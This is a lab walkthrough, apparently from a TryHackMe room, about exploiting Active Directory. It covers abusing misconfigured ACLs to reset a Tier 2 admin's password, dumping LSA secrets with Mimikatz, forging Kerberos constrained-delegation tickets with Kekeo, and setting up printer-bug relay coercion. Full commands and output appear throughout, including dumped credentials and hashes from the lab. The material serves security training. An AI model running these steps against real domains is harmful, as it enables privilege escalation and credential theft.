Skip to content

Exploiting Active Directory

Introduction

AD Exploitation

Now that we have performed our internal recon and understand the lay of the land regarding the AD structure and environment, it is time for the exploitation phase. This phase exploits misconfigurations to perform a combination of lateral movement and privilege escalation until we reach a suitable position to execute our goals, as shown in the diagram below. This phase is usually combined with persistence to ensure that we can't lose the new position we gain, but this will be covered in the next room. It is also usually combined with additional enumeration since our new position might allow us to acquire additional information about the lay of the land.

For SSH access, you can use the following SSH command:

ssh za.tryhackme.loc\\<AD Username>@thmwrk1.za.tryhackme.loc

When prompted, provide your account's associated password.

Exploiting Permission Delegation

Active Directory can delegate permissions and privileges through a feature called Permission Delegation (not to be confused with Kerberos Delegation that will be discussed in the next task). Delegation is what makes AD so powerful in organisations. Imagine we work for an organisation that has 50000 employees. Since we care about security, we only have three users that have access to DA credentials. It would be impossible for those three users to field all requests from the users, such as resetting their passwords. Using Delegation, we can delegate the permission to force change a user's password to the Helpdesk team, meaning they now have a delegated privilege for this specific function. In principle, to keep Delegation secure, the principle of least privilege should be followed. However, in large organisations, this is easier said than done. In this task we will look at exploiting some Delegation misconfigurations.

Permission Delegation

Permission Delegation exploits are often referred to as ACL-based attacks. AD allows administrators to configure Access Control Entries (ACEs) that populates Discretionary Access Control Lists (DACLs), hence the name ACL-based attacks. Almost any AD object can be secured with ACEs, which then describe the allowed and denied permissions that any other AD object has against the target object.

However, if these ACEs are misconfigured, it may be possible for an attacker to exploit them. Let's look at our example again. If the IT Support team were granted the ForceChangePassword ACE over the Domain Users group, this would be considered insecure. Sure they would be able to reset the passwords of employees that forgot their passwords, but this misconfiguration would allow them to also reset the passwords of privileged accounts, such as the accounts that are members of the Domain Admins group essentially allowing for privilege escalation.

Exploiting ACEs

A significant amount of ACEs can be misconfigured, and the exploits for each vary. The Bloodhound documentation assists in explaining enumerated ACEs and how they can be exploited. However, we will look at a couple of notable ones here:

  • ForceChangePassword: We have the ability to set the user's current password without knowing their current password.
  • AddMembers: We have the ability to add users (including our own account), groups or computers to the target group.
  • GenericAll: We have complete control over the object, including the ability to change the user's password, register an SPN or add an AD object to the target group.
  • GenericWrite: We can update any non-protected parameters of our target object. This could allow us to, for example, update the scriptPath parameter, which would cause a script to execute the next time the user logs on.
  • WriteOwner: We have the ability to update the owner of the target object. We could make ourselves the owner, allowing us to gain additional permissions over the object.
  • WriteDACL: We have the ability to write new ACEs to the target object's DACL. We could, for example, write an ACE that grants our account full control over the target object.
  • AllExtendedRights: We have the ability to perform any action associated with extended AD rights against the target object. This includes, for example, the ability to force change a user's password.

In order to exploit these ACEs, we will need a method to interact with AD to make these requests. The two best options for this are the AD-RSAT PowerShell cmdlets or PowerSploit. Depending on the breach and the detection tools in the environment, one option may be stealthier. In this task we will show both.

Bloodhound

Sharphound has already been executed for you and attached as a task file. First, we will need to start neo4j:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/tryhackme/ad]
└─$ sudo neo4j start        
Directories in use:
home:         /usr/share/neo4j
config:       /usr/share/neo4j/conf
logs:         /usr/share/neo4j/logs
plugins:      /usr/share/neo4j/plugins
import:       /usr/share/neo4j/import
data:         /usr/share/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses:     /usr/share/neo4j/licenses
run:          /usr/share/neo4j/run
Starting Neo4j.
Started neo4j (pid:124127). It is available at http://localhost:7474
There may be a short delay until the server is ready.               

In another Terminal tab, run bloodhound --no-sandbox. This will show you the authentication GUI: f80908ce7c9d4b76b8d4ded980aa6ffb.png

Privilege Escalation

If we search for our user account that was assigned in Task 1 in Bloodhound, we see that we don't have a lot of permissions. We have the ability to RDP into THMWRK1, but this will only provide us with low-privileged access. 189023ac5a2b52d34857ce109fe10890.png

Since the domain is tiered, our first step will be to compromise Tier 2 infrastructure. We need to compromise the Tier 2 Admins group since this group has administrative privileges on all workstations. Let's ask Bloodhound if there is perhaps a road that we can follow to compromise this group. Add your user account as the start position and the Tier 2 Admins group as the end position. e752ab5fdc0a554b83fef662c331bfb4.png

Bloodhound shows us a very interesting path. It seems that there was a slight bit of Permission Delegation in this domain. An administrator has misconfigured the Permission Delegation of the IT Support group by providing the Domain Users group with the AddMembers ACE. This means that any member of the Domain Users group (including our account) can add accounts to the IT Support Group. Furthermore, Bloodhound shows that the IT Support Group has the ForceChangePassword ACE for the Tier 2 Admins group members. This is not really a misconfiguration since Tier 2 admins are not that sensitive, but it provides a very potent attack path when combined with the initial misconfiguration. Let's exploit it!

AddMember

The first step in this attack path is to add our AD account to the IT Support group. We will use the Add-ADGroupMember PowerShell cmdlet from the AD-RSAT toolset for this. Start PowerShell (either in RDP or via SSH) on the THMJMP1 host and run the following command to add your account:

Add-ADGroupMember "IT Support" -Members "Your.AD.Account.Username"

We can verify that the command worked by using the Get-ADGroupMember cmdlet:

PS C:\Users\jack.hussain> Get-ADGroupMember -Identity "IT Support" 

distinguishedName : CN=jack.hussain,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc 
name              : jack.hussain
objectClass       : user
objectGUID        : c3e164a2-d1fd-41f7-af28-a27d291ef64e
SamAccountName    : jack.hussain
SID               : S-1-5-21-3885271727-2693558621-2658995185-1144 

If everything worked, you should see your account as a member.

ForceChangePassword

Now that we are a member of the IT Support group, we have inherited the ForceChangePassword Permission Delegation over the Tier 2 Admins group. First, we need to identify the members of this group to select a target. We can use the Get-ADGroupMember cmdlet again to assist with this:

Get-ADGroupMember -Identity "Tier 2 Admins"


distinguishedName : CN=t2_lawrence.lewis,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc  
name              : t2_lawrence.lewis
objectClass       : user
objectGUID        : 4ca61b47-93c8-44d2-987d-eca30c69d828
SamAccountName    : t2_lawrence.lewis
SID               : S-1-5-21-3885271727-2693558621-2658995185-1893

distinguishedName : CN=t2_leon.francis,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc 
name              : t2_leon.francis
objectClass       : user
objectGUID        : 854b6d40-d537-4986-b586-c40950e0d5f9
SamAccountName    : t2_leon.francis
SID               : S-1-5-21-3885271727-2693558621-2658995185-3660

distinguishedName : CN=t2_henry.harvey,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc 
name              : t2_henry.harvey
objectClass       : user
objectGUID        : a3c2db31-6362-4af7-8a3e-20e0c16a664f
SamAccountName    : t2_henry.harvey
SID               : S-1-5-21-3885271727-2693558621-2658995185-4275

distinguishedName : CN=t2_june.russell,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc 
name              : t2_june.russell
objectClass       : user
objectGUID        : e9b91021-2cb4-4a81-bf09-13a24393ffb7
SamAccountName    : t2_june.russell
SID               : S-1-5-21-3885271727-2693558621-2658995185-4407

distinguishedName : CN=t2_kathleen.mills,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc 
name              : t2_kathleen.mills
objectClass       : user
objectGUID        : 3be7353e-7c5c-4f46-9790-aef3bbe826a1
SamAccountName    : t2_kathleen.mills
SID               : S-1-5-21-3885271727-2693558621-2658995185-4493

distinguishedName : CN=t2_irene.nash,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc 
name              : t2_irene.nash
objectClass       : user
objectGUID        : 59429b63-1330-4646-8155-e7d95da0aa68 
SamAccountName    : t2_irene.nash
SID               : S-1-5-21-3885271727-2693558621-2658995185-4654

distinguishedName : CN=t2_henry.shaw,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc 
name              : t2_henry.shaw
objectClass       : user
objectGUID        : 4045398b-de3e-463b-a8e7-085e5f09f478
SamAccountName    : t2_henry.shaw
SID               : S-1-5-21-3885271727-2693558621-2658995185-5230

distinguishedName : CN=t2_alan.riley,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc 
name              : t2_alan.riley
objectClass       : user
objectGUID        : d8398c06-1f07-403c-a4b5-0882b1233e1e
SamAccountName    : t2_alan.riley
SID               : S-1-5-21-3885271727-2693558621-2658995185-5243

distinguishedName : CN=t2_jordan.hawkins,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc 
name              : t2_jordan.hawkins
objectClass       : user
objectGUID        : c43fea27-5821-4a28-8e4b-98ecdb04d649
SamAccountName    : t2_jordan.hawkins
SID               : S-1-5-21-3885271727-2693558621-2658995185-5245

distinguishedName : CN=t2_ross.bird,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc 
name              : t2_ross.bird
objectClass       : user
objectGUID        : d7cb6223-38f0-4553-9ef3-d10727bdcc02
SamAccountName    : t2_ross.bird
SID               : S-1-5-21-3885271727-2693558621-2658995185-5316

distinguishedName : CN=t2_robin.wyatt,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc 
name              : t2_robin.wyatt
objectClass       : user
objectGUID        : 88b92158-56a1-43cb-b21c-1514098524c2
SamAccountName    : t2_robin.wyatt
SID               : S-1-5-21-3885271727-2693558621-2658995185-5409

distinguishedName : CN=t2_caroline.dawson,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc 
name              : t2_caroline.dawson
objectClass       : user
objectGUID        : 38060b6d-9e78-40bc-95d5-e7d7a61abf6e
SamAccountName    : t2_caroline.dawson
SID               : S-1-5-21-3885271727-2693558621-2658995185-5437

distinguishedName : CN=t2_melanie.davies,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc 
name              : t2_melanie.davies
objectClass       : user
objectGUID        : c9625ed3-0391-40ba-9c6d-b4046049c434
SamAccountName    : t2_melanie.davies
SID               : S-1-5-21-3885271727-2693558621-2658995185-5929

Make a note of the username of one of these accounts. Since the network is shared, it might be best to select one further down in the list. We will use the Set-ADAccountPassword AD-RSAT cmdlet to force change the password:

PS C:\Users\jack.hussain> $Password = ConvertTo-SecureString "adminadmin_1234" -AsPlainText -Force
PS C:\Users\jack.hussain> Set-ADAccountPassword -Identity "t2_robin.wyatt" -Reset -NewPassword $Password
PS C:\Users\jack.hussain> 

Note: If you get an Access Denied error, your permissions have not yet propagated through the domain. This can take up to 10 minutes. The best approach is to terminate your SSH or RDP session, take a quick break, and then reauthenticate and try again. You could also run gpupdate /force and then disconnect and reconnect, which in certain cases will cause the synchronisation to happen faster.

If this step worked, you should now be able to authenticate to THMWRK1 using this target account with its new password. You currently have administrative access to this workstation. Congratulations! You have officially escalated your privileged to Tier 2 Administrator by exploiting Permission Delegations.

Exploiting Kerberos Delegation

Next, we will take a look at Kerberos Delegation. When you talk about AD Delegation, this is usually what is being discussed, not Permission Delegation.

Kerberos Delegation

The practical use of Kerberos Delegation is to enable an application to access resources hosted on a different server. An example of this would be a web server that needs to access a SQL database hosted on the database server for the web application that it is hosting. Without delegation, we would probably use an AD service account and provide it with direct access to the database. When requests are made on the web application, the service account would be used to authenticate to the database and recover information.

However, we can allow this service account to be delegated to the SQL server service. Once a user logs into our web application, the service account will request access to the database on behalf of that user. This means that the user would only be able to access data in the database that they have the relevant permissions for without having to provide any database privileges or permissions to the service account itself.

Constrained vs Unconstrained

There are two types of Kerberos Delegation. In the original implementation of Kerberos Delegation, Unconstrained Delegation was used, which is the least secure method. In essence, Unconstrained Delegation provides no limits to the delegation. In the background, if a user with the "TRUSTED_FOR_DELEGATION" flag set authenticates to a host with Unconstrained Delegation configured, a ticket-granting ticket (TGT) for that user account is generated and stored in memory so it can be used later if needed. Suppose an attacker can compromise a host that has Unconstrained Delegation enabled. In that case, they could attempt to force a privileged account to authenticate to the host, which would allow them to intercept the generated TGT and impersonate the privileged service. If you want to see an example of the exploitation of Unconstrained Delegation, have a look here. To combat the security failings of Unconstrained Delegation, Microsoft introduced Constrained Delegation in 2003. Constrained Delegation restricts what services an account can be delegated to, limiting exposure if an account is compromised. The following are examples of services that can be configured for delegation:

  • HTTP - Used for web applications to allow pass-through authentication using AD credentials.
  • CIFS - Common Internet File System is used for file sharing that allows delegation of users to shares.
  • LDAP - Used to delegate to the LDAP service for actions such as resetting a user's password.
  • HOST - Allows delegation of account for all activities on the host.
  • MSSQL - Allows delegation of user accounts to the SQL service for pass-through authentication to databases.

Exploiting Constrained Delegation is usually more complex than exploiting Unconstrained Delegation since the delegated account can't just be used for everything. However, it can still be used for some powerful exploitation. An example of this would be if we were able to compromise an AD account that had constrained delegation configured. By knowing the plaintext password or even just the NTLM hash of this account, we could generate a TGT for this account, then use the TGT to execute a ticket-granting server (TGS) request for any non-sensitive user account in order to access the service as that user. Imagine impersonating an account with access to a sensitive database, for example.

Resource-Based Constrained Delegation

So there are actually three types of Kerberos Delegation. But this one deserves to be mentioned on its own. Introduced by Microsoft in 2012, Resource-Based Constrained Delegation (RBCD) once again provided additional restrictions on Kerberos Delegation for security. RBCD changes the delegation model entirely. Instead of specifying which object can delegate to which service, the service now specifies which objects can delegate to it. This allows the service owner to control who can access it. In our web application example, this means that instead of specifying that the web service account can delegate to the database service to access the database, we can now specify that on the database service that the web service account is allowed to delegate access to it. Let's say that we have permission to configure RBCD for a service. This means we have the ability to set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute for the AD Object. We can populate this attribute with the details of an AD account that we have access to. To now gain access to the service, we can generate a TGT for the account we control, which will allow us to interact with this service. If you want a detailed example of RBCD exploitation, take a look here.

Constrained Delegation Exploitation

We will exploit Constrained Delegation for this task. The first thing we need to do is enumerate available delegations. Let's use our new privileged user for the network couple of commands. We can use the Get-NetUser cmdlet of PowerSploit for this enumeration by running the following command:

PS C:\Users\t2_robin.wyatt> Import-Module C:\Tools\PowerView.ps1 
PS C:\Users\t2_robin.wyatt> Get-NetUser -TrustedToAuth 


logoncount               : 48                                                                                                       
badpasswordtime          : 11/28/2022 10:49:28 PM                                                                                   
distinguishedname        : CN=IIS Server,CN=Users,DC=za,DC=tryhackme,DC=loc                                                         
objectclass              : {top, person, organizationalPerson, user}                                                                
displayname              : IIS Server                                                                                               
lastlogontimestamp       : 11/26/2022 9:13:49 PM                                                                                    
userprincipalname        : svcIIS@za.tryhackme.loc                                                                                  
name                     : IIS Server                                                                                               
objectsid                : S-1-5-21-3885271727-2693558621-2658995185-6155                                                           
samaccountname           : svcIIS                                                                                                   
codepage                 : 0                                                                                                        
samaccounttype           : USER_OBJECT                                                                                              
accountexpires           : NEVER                                                                                                    
countrycode              : 0                                                                                                        
whenchanged              : 11/26/2022 9:13:49 PM                                                                                    
instancetype             : 4                                                                                                        
usncreated               : 78494                                                                                                    
objectguid               : 11e42287-0a25-4d73-800d-b62e2d2a2a4b                                                                     
sn                       : Server                                                                                                   
lastlogoff               : 1/1/1601 12:00:00 AM                                                                                     
msds-allowedtodelegateto : {WSMAN/THMSERVER1.za.tryhackme.loc, WSMAN/THMSERVER1, http/THMSERVER1.za.tryhackme.loc, http/THMSERVER1} 
objectcategory           : CN=Person,CN=Schema,CN=Configuration,DC=tryhackme,DC=loc                                                 
dscorepropagationdata    : 1/1/1601 12:00:00 AM                                                                                     
serviceprincipalname     : HTTP/svcServWeb.za.tryhackme.loc                                                                         
givenname                : IIS                                                                                                      
lastlogon                : 11/29/2022 3:42:23 AM                                                                                    
badpwdcount              : 0                                                                                                        
cn                       : IIS Server                                                                                               
useraccountcontrol       : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION                                     
whencreated              : 4/27/2022 11:26:21 AM                                                                                    
primarygroupid           : 513                                                                                                      
pwdlastset               : 4/29/2022 11:50:25 AM                                                                                    
usnchanged               : 147509                   

Based on the output of this command, we can see that the svcIIS account can delegate the HTTP and WSMAN services on THMSERVER1. You would think that this means we can only access websites on behalf of impersonated users. However, PowerShell Remoting uses the HTTP and WSMAN services as well. The ideal option would be to impersonate a Tier 1 Admin since this would provide us with administrative access over THMSERVER1.

If you were to perform proper post-exploitation enumeration of THMWRK1, you would find that there is a service on the host running as the svcIIS user. Since we have administrative access now, we can use this to dump LSASecrets, part of the Windows Registry Hive where credentials are stored for features such as Windows services. Let's use Mimikatz to dump the secrets:

PS C:\Users\t2_robin.wyatt> C:\Tools\mimikatz_trunk\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53              
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)                               
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )  
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz                   
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com ) 
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/ 

mimikatz # token::elevate 
Token Id  : 0                   
User name :                     
SID name  : NT AUTHORITY\SYSTEM 

488     {0;000003e7} 1 D 17986          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary  
 -> Impersonated !                                                                                       
 * Process Token : {0;001f40fe} 0 D 2251395     ZA\t2_robin.wyatt       S-1-5-21-3885271727-2693558621-2658995185-5409  (12g,24p)       Primary 
 * Thread Token  : {0;000003e7} 1 D 2292343     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)              

mimikatz # lsadump::secrets                                                                                                        
Domain : THMWRK1                                                  
SysKey : a1403e57976b472bce5f231922ca3942                         

Local name : THMWRK1 ( S-1-5-21-3226461851-763325627-4205969673 ) 
Domain name : ZA ( S-1-5-21-3885271727-2693558621-2658995185 )    
Domain FQDN : za.tryhackme.loc                                    

Policy subsystem is : 1.18                                                      
LSA Key(s) : 1, default {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27}                  
  [00] {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27} 929bd1cdc726d31f5eea6fa5266a09521afd0be6309a08fd604c9a95c2af4463 

Secret  : $MACHINE.ACC
cur/text: 0FFIKa"c[#L6T>=.s*ZW'Gz04FL&7,"VjxxhLeXqmI\%Q%c..g?=olZZlnTA#J@;*8+&?neR%>l_W!w&.oz@1MDJHs`&suI rmg,g GQsb%),mlWLo?6$kqP 
    NTLM:4207d1b7e4b942da2371174b772fdf5e
    SHA1:c67c43d5a5d002f67371024ef1aa22db76ab44db
old/text: 0FFIKa"c[#L6T>=.s*ZW'Gz04FL&7,"VjxxhLeXqmI\%Q%c..g?=olZZlnTA#J@;*8+&?neR%>l_W!w&.oz@1MDJHs`&suI rmg,g GQsb%),mlWLo?6$kqP 
    NTLM:4207d1b7e4b942da2371174b772fdf5e
    SHA1:c67c43d5a5d002f67371024ef1aa22db76ab44db

Secret  : DefaultPassword
old/text: vagrant 

Secret  : DPAPI_SYSTEM
cur/hex : 01 00 00 00 b6 54 c4 83 d9 88 10 f6 ee ae fc b7 ed 2d a2 d6 47 11 3f 8f 4a 6d 7f 72 35 b8 a2 93 3d 5c 5e 3f 03 8d 79 49 90 e7 2e e0  
    full: b654c483d98810f6eeaefcb7ed2da2d647113f8f4a6d7f7235b8a2933d5c5e3f038d794990e72ee0
    m/u : b654c483d98810f6eeaefcb7ed2da2d647113f8f / 4a6d7f7235b8a2933d5c5e3f038d794990e72ee0 
old/hex : 01 00 00 00 10 4d a3 82 e2 da 30 1f 33 d6 49 a4 c9 81 26 e5 25 59 bb 9f 8a 76 b1 5d 59 c6 87 c6 32 b7 02 0b c1 5b 24 f4 44 d0 74 31
    full: 104da382e2da301f33d649a4c98126e52559bb9f8a76b15d59c687c632b7020bc15b24f444d07431
    m/u : 104da382e2da301f33d649a4c98126e52559bb9f / 8a76b15d59c687c632b7020bc15b24f444d07431 

Secret  : NL$KM
cur/hex : 10 bb 99 02 da 94 4a 26 cd ad 07 f3 62 64 53 5c a8 12 be e3 16 1f 8f 99 ae ab 97 37 c4 bc ee df 63 7c 2f 6d 07 c5 d9 5e 29 e7 ce ce 48 52 47 19 8a 03 99 ff 97 ec 7f 49 a1 79 15 d9 a0 04 ac 58  
old/hex : 10 bb 99 02 da 94 4a 26 cd ad 07 f3 62 64 53 5c a8 12 be e3 16 1f 8f 99 ae ab 97 37 c4 bc ee df 63 7c 2f 6d 07 c5 d9 5e 29 e7 ce ce 48 52 47 19 8a 03 99 ff 97 ec 7f 49 a1 79 15 d9 a0 04 ac 58  

Secret  : _SC_thmwinauth / service 'thmwinauth' with username : svcIIS@za.tryhackme.loc
cur/text: Password1@

Let's run through the two commands:

token::elevate - To dump the secrets from the registry hive, we need to impersonate the SYSTEM user.
lsadump::secrets - Mimikatz interacts with the registry hive to pull the clear text credentials. 

Now that we have access to the password associated with the svcIIS account, we can perform a Kerberos delegation attack. We will use a combination of Kekeo and Mimikatz. You can use another window for Mimikatz, but make sure to exit out of Mimikatz after the token::elevate command, otherwise the tickets will be loaded in the wrong context later on. We will use Kekeo to generate our tickets and then use Mimikatz to load those tickets into memory. Let's start by generating the tickets:

PS C:\Users\t2_robin.wyatt> C:\Tools\kekeo\x64\kekeo.exe

  ___ _    kekeo 2.1 (x64) built on Dec 14 2021 11:51:55
 /   ('>-  "A La Vie, A L'Amour"
 | K  |    /* * *
 \____/     Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  L\_       https://blog.gentilkiwi.com/kekeo                (oe.eo)
                                             with 10 modules * * */ 

We first need to generate a TGT that can be used to generate tickets for the HTTP and WSMAN services:

kekeo # tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@ 
Realm        : za.tryhackme.loc (za) 
User         : svcIIS (svcIIS)
CName        : svcIIS   [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/za.tryhackme.loc  [KRB_NT_SRV_INST (2)] 
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt      ): 43460d636f269c709b20049cee36ae7a
[kdc] name: THMDC.za.tryhackme.loc (auto) 
[kdc] addr: 10.200.83.101 (auto)
  > Ticket in file 'TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'
Parameters explained:
  • user - The user who has the constrained delegation permissions.
  • domain - The domain that we are attacking since Kekeo can be used to forge tickets to abuse cross-forest trust.
  • password - The password associated with the svcIIS account.

Now that we have the TGT for the account that can perform delegation, we can forge TGS requests for the account we want to impersonate. We need to perform this for both HTTP and WSMAN to allow us to create a PSSession on THMSERVER1:

kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc 
Ticket  : TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi 
  [krb-cred]     S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: svcIIS @ ZA.TRYHACKME.LOC
  [enc-krb-cred] S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
  [enc-krb-cred] T: [11/29/2022 7:17:04 AM ; 11/29/2022 5:17:04 PM] {R:12/6/2022 7:17:04 AM} 
  [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;  
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac      ): d4d77a82eba03200670cfa473dccb983c4e7f1408c32dc588ada1fefad619aef 
  [s4u2self]  t1_trevor.jones
[kdc] name: THMDC.za.tryhackme.loc (auto)
[kdc] addr: 10.200.83.101 (auto)
  > Ticket in file 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_svcIIS@ZA.TRYHACKME.LOC.kirbi' 
Service(s):
  [s4u2proxy] http/THMSERVER1.za.tryhackme.loc 
  > Ticket in file 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'
Parameters explained:
  • tgt - We provide the TGT that we generated in the previous step.
  • user - The user we want to impersonate. Since t2_ accounts have administrative access over workstations, it is a safe assumption that t1_ accounts will have administrative access over servers, so choose a t1_ account that you would like to impersonate.
  • service - The services we want to impersonate using delegation. We first generate a TGS for the HTTP service. Then we can rerun the same command for the WSMAN service.

Run the command again, this time for the WSMAN service. Now that we have the two TGS tickets, we can use Mimikatz to import them:

PS C:\Users\t2_robin.wyatt> C:\Tools\mimikatz_trunk\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com ) 
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug 
Privilege '20' OK 

mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi 

* File: 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': OK

mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi  

* File: 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': OK

You can exit Mimikatz and run klist if you want to verify that the tickets were imported. Now that the tickets are imported, we can finally create our PSSession on THMSERVER1:

PS C:\Users\t2_robin.wyatt> klist

Current LogonId is 0:0x1f40fe

Cached Tickets: (2)

#0>     Client: t1_trevor.jones @ ZA.TRYHACKME.LOC
        Server: http/THMSERVER1.za.tryhackme.loc @ ZA.TRYHACKME.LOC
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        Start Time: 11/29/2022 7:19:29 (local)
        End Time:   11/29/2022 17:17:04 (local)
        Renew Time: 12/6/2022 7:17:04 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

#1>     Client: t1_trevor.jones @ ZA.TRYHACKME.LOC
        Server: wsman/THMSERVER1.za.tryhackme.loc @ ZA.TRYHACKME.LOC
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        Start Time: 11/29/2022 7:21:23 (local)
        End Time:   11/29/2022 17:17:04 (local)
        Renew Time: 12/6/2022 7:17:04 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

PS C:\Users\t2_robin.wyatt> New-PSSession -ComputerName thmserver1.za.tryhackme.loc

 Id Name            ComputerName    ComputerType    State         ConfigurationName     Availability
 -- ----            ------------    ------------    -----         -----------------     ------------
  1 WinRM1          thmserver1.z... RemoteMachine   Opened        Microsoft.PowerShell     Available


PS C:\Users\t2_robin.wyatt> Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
[thmserver1.za.tryhackme.loc]: PS C:\Users\t1_trevor.jones\Documents> whoami
za\t1_trevor.jones

Exploiting Automated Relays

In this task we will take a look at some automated relays. Authentication attempts are constantly flying across the network, and as shown in the Breaching AD room, if we are lucky, we can intercept some of these challenges to gain access. But what if we don't like to wait? What if we can coerce authentication to occur?

Although we already have privileged access to THMSERVER1, we could be in a position where we did not have access to a constrained delegation exploit. This is another excellent attack that can be performed to gain privileged access to hosts.

Machine Accounts

All Windows hosts have a machine account. Essentially, this is the user account associated with the machine. Unless someone tampered with the account of the host, the passwords of these accounts are uncrackable. By default, they are 120 characters (UTF16) long and are automatically rotated every 30 days.

In AD, these machine accounts are used quite a bit in different services. Different domain controllers use their machine accounts to synchronise AD updates and changes. When you request a certificate on behalf of the host you are working on, the machine account of that host is used for authentication to the AD Certificate Service.

There is an exceptional case in AD, where one machine has admin rights over another machine. Essentially in the AD configuration, administrative permissions over a host have been granted to another host. Again, this is expected functionality such as domain controllers or SQL clusters that must be synchronised. However, these instances provide a very interesting attack vector for coercing authentication.

We first need to identify cases where a machine account has administrative access over another machine. We can use Bloodhound for this, but it means we will have to write some custom cypher queries. Click the "Create Custom Query" in the Analysis tab in Bloodhound: 1ee55af928e2c91c550511347fdb559f.png

We want to write the following query:

MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p

This query will attempt to find instances where a computer has the "AdminTo" relationship over another computer. You should see output similar to this: d4f32175bff1f3884cfccb2a8b05ea7b.png

This is very interesting. It shows us that the THMSERVER2 machine account has administrative privileges over the THMSERVER1 machine.

The Printer Bug

It's not a bug, it's a feature - Microsoft.

Seriously, when this was reported, Microsoft responded that this was a feature. The printer bug is a "feature" of the MS-RPRN protocol (PrintSystem Remote Protocol), which allows a domain user to remotely force a target host running the Print Spooler service to authenticate to an arbitrary IP address. There have been a few of these bugs in recent years: Spooler, PetitPotam, PrintNightmare. Microsoft claims that the only bug is that some of these did not require AD credentials at all, but this issue has been resolved through security patches.

Therefore, to exploit this, apart from machine account administrative privileges, we also need to meet the following four conditions :

  1. A valid set of AD account credentials.
  2. Network connectivity to the target's SMB service.
  3. The target host must be running the Print Spooler service.
  4. The hosts must not have SMB signing enforced.

Condition 1 and 2 have been met already. The only two we need to ensure works are conditions 3 and 4.

We need to determine if the Print Spooler service is running. Since we don't have access to THMSERVER2, we need to query from the network perspective. In this case, we can use a WMI query from our SSH session on THMWRK1 to query the service's current state:

PS C:\> GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc


Location      :
Name          : Microsoft XPS Document Writer
PrinterState  : 0
